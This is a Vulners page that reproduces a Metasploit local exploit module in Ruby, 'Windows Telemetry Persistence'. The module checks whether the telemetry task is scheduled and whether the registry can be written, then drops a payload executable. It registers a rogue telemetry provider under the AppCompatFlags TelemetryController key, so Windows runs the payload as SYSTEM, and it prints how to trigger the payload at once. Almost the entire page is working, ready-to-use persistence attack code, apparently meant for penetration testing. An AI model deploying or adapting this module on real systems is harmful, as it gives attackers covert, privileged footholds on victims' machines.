Lucene search
K

Windows Telemetry Persistence

🗓️ 09 Apr 2026 18:58:15Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 218 Views

Installs a new telemetry provider; when telemetry runs, a scheduled task executes the payload with system privileges.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Telemetry Persistence',
        'Description' => %q{
          This persistence mechanism installs a new telemetry provider for windows. If telemetry is turned on,
          when the scheduled task launches, it will execute the telemetry provider and execute our payload
          with system permissions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://pentestlab.blog/2023/11/06/persistence-windows-telemetry/']
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-11-06',
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
      OptString.new('NAME', [false, 'Name of the telemetry program. Random string as default.']),
    ])
  end

  def regkey
    'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController'
  end

  def writable_dir
    d = super
    return session.sys.config.getenv(d) if d.start_with?('%')

    d
  end

  def check
    return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')

    vprint_good('Powershell detected on system')

    # Check if the scheduled task is enabled (aka it has a next run time)
    # determine if we have Appraiser or Appraiser Exp, its not clear when the change happened, but my windows 11 uses Exp and windows 10 doesn't
    ['Microsoft Compatibility Appraiser Exp', 'Microsoft Compatibility Appraiser'].each do |appraiser_name|
      @appraiser_name = appraiser_name
      @next_run_time = cmd_exec(%(schtasks /query /tn "\\Microsoft\\Windows\\Application Experience\\#{appraiser_name}" /fo list /v))
      break unless @next_run_time.include? 'ERROR'
    end
    print_status("Appraiser name found: #{@appraiser_name}")
    @next_run_time = begin
      @next_run_time.match(/Next Run Time:\s+(.+?)\r/)[1]
    rescue StandardError
      nil
    end
    return Msf::Exploit::CheckCode::Safe('Scheduled task for telemetry is disabled') if @next_run_time.strip.end_with?('N/A')

    print_good("Next scheduled runtime: #{@next_run_time.strip}")

    # test write to see if we have access
    rand = Rex::Text.rand_text_alpha((rand(6..13)))

    vprint_status("Checking registry write access to: #{regkey}\\#{rand}")
    return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil?

    registry_deletekey("#{regkey}\\#{rand}")

    Msf::Exploit::CheckCode::Vulnerable('Registry writable')
  end

  def install_persistence
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    payload_exe = generate_payload_exe
    payload_pathname = writable_dir + '\\' + payload_name + '.exe'
    vprint_good("Writing payload to #{payload_pathname}")
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)

    telemetry = datastore['NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))

    print_status("Using telemetry id: #{telemetry}")
    registry_createkey("#{regkey}\\#{telemetry}")
    registry_setvaldata("#{regkey}\\#{telemetry}", 'Command', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ')
    registry_setvaldata("#{regkey}\\#{telemetry}", 'Nightly', 1, 'REG_DWORD')

    print_good 'Persistence installed! Call a shell immediately using '\
              "'schtasks /run /tn \"\\Microsoft\\Windows\\Application Experience\\#{@appraiser_name}\"' (SYSTEM)" \
              ' or CompatTelRunner.exe (user)'
    print_line("       or wait till #{@next_run_time} (SYSTEM)")

    @clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{telemetry}\\\" /f" -H\n)
    @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation